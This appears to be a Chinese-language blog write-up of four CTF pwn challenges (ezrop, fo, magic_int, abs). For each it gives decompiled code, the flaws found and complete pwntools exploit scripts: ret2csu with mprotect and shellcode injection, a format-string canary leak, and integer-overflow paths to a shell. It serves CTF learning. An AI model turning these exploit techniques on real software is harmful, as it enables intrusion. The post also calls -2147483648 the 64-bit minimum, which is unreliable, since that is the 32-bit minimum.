day1

发布时间 2023-08-03 10:14:02作者: fuckpwn

ezrop

总结

这题主要是通过栈溢出然后通过ret2csu传参mprotect函数改执行权限,再次溢出用read函数写入shellcode,再返回到写入shellcode地址的位置执行shell

  • mprotect函数

题目分析

checksec

[*] '/home/yang/桌面/day1/ezrop'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

函数分析

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  vuln();
  return 0;
}

vuln

ssize_t vuln()
{
  char buf[80]; // [rsp+0h] [rbp-50h] BYREF

  return read(0, buf, 0x200uLL);
}

漏洞点

vuln函数中的read函数

知识点

  • mprotect通过传入三个参数进行更改地址权限
  • ret2csu进行传参,注意ret_csu的传参顺序

利用思路

从ida列表中可以很明显发现有mprotect函数和read函数,因此我们初步判断可以使用这两个函数进行写入并执行shellcode,用ROPgadget发现并没有传入三个参数的地址,因此考虑使用csu进行传参

EXP

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')

proname = './ezrop'

io = process(proname)
#io = gdb.debug("./ezrop","break main")
elf = ELF(proname)

pop_addr = 0x00000000004006e3
pop_addr2 = 0x00000000004006e1
first_csu = 0x0000000004006D6
second_csu = 0x00000000004006C0

def ret_csu(r12, r13, r14, r15, last):
	payload = 88 * b'b'
	payload += p64(first_csu) + b'a' * 8
	payload += p64(0) + p64(1)
	payload += p64(r12)
	payload += p64(r13) + p64(r14) + p64(r15)
	payload += p64(second_csu)
	payload += b'a' * 56
	payload += p64(last)
	return payload


mprotect = elf.got['mprotect']
read = elf.got['read']
main = elf.symbols['main']

p = ret_csu(mprotect,0x7,0x1000,0x600000,main)

p2 = ret_csu(read,0x100,0x600000,0,0x600000)
io.sendline(p)
io.sendline(p2)
io.sendline(asm(shellcraft.sh()))
io.interactive()

fo

总结

这题可以使用movaps了因为栈没对齐导致了程序出错,可以在ida中使用ALT+T找一个ret的地址进行栈对齐

CTFer成长日记12:栈对齐—获取shell前的临门一脚 - 知乎 (zhihu.com)

题目分析

checksec

[*] '/home/yang/桌面/day1/fo'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

函数分析

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  speaking();
  leak();
  return 0;
}

leak

unsigned __int64 leak()
{
  char s[88]; // [rsp+0h] [rbp-60h] BYREF
  unsigned __int64 v2; // [rsp+58h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts(
    "I heared that you are interested in the CTF.\n"
    "           I hope that you will hold on to keep your interest\n"
    "          tell me,will you?");
  fgets(s, 80, stdin);
  puts("I will remember what you said");
  printf(s);
  puts("wait for your good news...");
  gets(s);
  return __readfsqword(0x28u) ^ v2;
}

backdoor

int backdoor()
{
  return system("cat flag;");
}

漏洞点

  1. leak函数中printf函数格式化字符串溢出泄露canary
  2. leak函数中gets函数栈溢出到bd函数

知识点

  • 遇到movaps报错,栈对齐,在前面进行填充一个ret的地址即可

利用思路

EXP

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')

proname = './fo'

io = process(proname)
#io = gdb.debug("./fo","break main")
elf = ELF(proname)

backdoor = 0x000000000040080D

io.recv()
io.sendline(b'%17$p')
io.recvuntil(b'I will remember what you said\n')
canary = io.recvuntil(b'\n')[:-1]
canary = int(canary,16)
print (canary)
p = b'a'*88 +p64(canary)+b'a'*8+p64(0x0000000000400822)+p64(backdoor)

io.sendline(p)
io.interactive()

magic_int

总结

这题一开始gets默认把换行符当作输入内容,所以我们要直接send一个数字,这个数字要小于零并且其负数也要小于零,这个数可以是最小负数,64位最小负数为-2147483648,然后条件语句if里输入的数要和一个字符串相同,重点根据c语言a=="aaa",比较的是地址,因此填入aaaa的地址数字即可

题目分析

checksec

[*] '/home/yang/桌面/day1/magic_int'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

函数分析

main

  __isoc99_scanf(&unk_400959, &v4);
  if ( v4 < 0 )
  {
    v4 = -v4;
    if ( v4 < 0 )
      EDG();
  }

EDG

__int64 EDG()
{
  char v1[112]; // [rsp+0h] [rbp-70h] BYREF

  puts(s);
  return gets(v1);
}

ThatMan

int ThatMan()
{
  int result; // eax
  int v1; // [rsp+Ch] [rbp-4h] BYREF

  puts(&byte_4008F8);
  __isoc99_scanf(&unk_400959, &v1);
  result = v1;
  if ( (char *)v1 == "clearlove7" )
    result = system("/bin/sh");
  return result;
}

漏洞点

  • main函数中整数溢出
  • EDG函数中栈溢出
  • ThatMan函数中==漏洞

知识点

  • C语言中用==和字符串进行比较时比较的是地址
  • 最小负数为-2147483648即0x80000000
  • gets函数会默认把\n当作输入内容因此再send的时候不能使用sendline

利用思路

首先通过输入最小负数绕过前面的限制进入EDG函数,然后用gets栈溢出到ThatMan函数中然后再输入字符串的地址即可成功利用

EXP

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')

proname = './magic_int'

io = process(proname)
#io = gdb.debug(proname,"break main")

ret = 0x0000000000400831

io.send("-2147483648".encode())

payload = b'a'*(0x70+8)+p64(ret)+p64(0x40074c)
io.sendline(payload)

io.sendline(str(4196700).encode())

io.interactive()

abs

总结

要善用ida改参数名字以方便观看逻辑

题目分析

checksec

[*] '/home/yang/桌面/day1/abs'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

函数分析

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  unsigned int v5; // [rsp+Ch] [rbp-84h] BYREF
  char s[92]; // [rsp+10h] [rbp-80h] BYREF
  int v7; // [rsp+6Ch] [rbp-24h] BYREF
  time_t timer; // [rsp+70h] [rbp-20h] BYREF
  __int64 v9; // [rsp+78h] [rbp-18h]
  unsigned int v10; // [rsp+80h] [rbp-10h]
  int v11; // [rsp+84h] [rbp-Ch]
  unsigned int v12; // [rsp+88h] [rbp-8h]
  unsigned int v13; // [rsp+8Ch] [rbp-4h]

  init(argc, argv, envp);
  v3 = time(&timer);
  srand(v3);
  memset(s, 0, 0x50uLL);
  puts("What's your name?");
  v11 = read(0, s, 0x50uLL);
  puts("Tell me your a g e:");
  fflush(stdout);
  __isoc99_scanf("%d", &v7);
  puts("What's your lucky number?");
  __isoc99_scanf("%d", &v5);
  v10 = abs32(v5);
  v9 = (int)(v10 + v11);
  v12 = 1;
  if ( v9 >= 0 )
  {
    s[10] = 0;
    printf("Hi,%s And see you next time!\n", s);
    v12 = 0;
  }
  puts("Recording...");
  if ( v12 )
    v13 = rand() % (((int)abs32(v5 + v7) >> v7) + 1);
  else
    v13 = rand() % 10000;
  record(s, v5, v13, v12);
  return 0;
}

record

void *__fastcall record(const char *a1, unsigned int a2, unsigned int a3, int a4)
{
  size_t v4; // rax
  void *result; // rax
  char dest[16]; // [rsp+20h] [rbp-10h] BYREF

  printf("\n name: %s \n lucky number: %d \n tag: %d\n DOWN!\n", a1, a2, a3);
  v4 = strlen(a1);
  if ( a4 )
    result = memcpy(&dest[a3], a1, v4);
  else
    result = memcpy(dest, a1, v4);
  return result;
}

present

int present()
{
  return system("/bin/sh");
}

漏洞点

main函数中的abs函数整数溢出

record函数中的memcpy函数栈溢出

知识点

  • abs函数传入0x80000000即2147483648最终会得到一个负数
  • 栈对齐不仅可以使用ret来填充栈,也可以将后门函数的地址+1,目的是将pop ebp舍去,可能会导致bd函数崩溃,但我们需要的是bd函数中的sysetm函数只需要call system就可以

利用思路

输入age和luckynum为了使v9<0,我们需要传入0x80000000,我们还需要让随机数为一个固定的小数,所以luckynum同样传入0x80000000,这样随机数即为0(rand%1),在record中将name复制给了dest因此name输入payload进行栈溢出

EXP

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')

proname = './abs'

io = process(proname)
#io = gdb.debug(proname,"break record")
elf = ELF(proname)

io.recv()
p = cyclic(24)+p64(0x00000000004009D8)
io.sendline(p)
io.recv()
io.sendline(str(2147483648))
io.recv()
io.sendline(str(2147483648))
io.recv()
io.interactive()